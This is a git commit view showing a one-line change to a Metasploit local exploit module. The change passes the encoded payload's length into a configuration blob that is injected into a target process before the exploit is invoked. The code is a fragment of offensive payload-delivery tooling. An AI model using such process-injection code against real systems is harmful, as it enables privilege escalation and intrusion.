feat: pass payload length to the dll

This commit is contained in:
phra 2019-01-11 16:28:49 +01:00
parent 944bda316e
commit dca99552e6
No known key found for this signature in database
GPG Key ID: 91FF93D1B85D76B5
1 changed files with 1 additions and 0 deletions

View File

@ -169,6 +169,7 @@ class MetasploitModule < Msf::Exploit::Local
configuration += "#{datastore['RPC_IP']}\x00"
configuration += "#{datastore['RPC_PORT']}\x00"
configuration += "#{datastore['DCOM_IP']}\x00"
configuration += "#{payload.encoded.length}\x00"
configuration += payload.encoded
payload_mem = inject_into_process(process, configuration)
# invoke the exploit, passing in the address of the payload that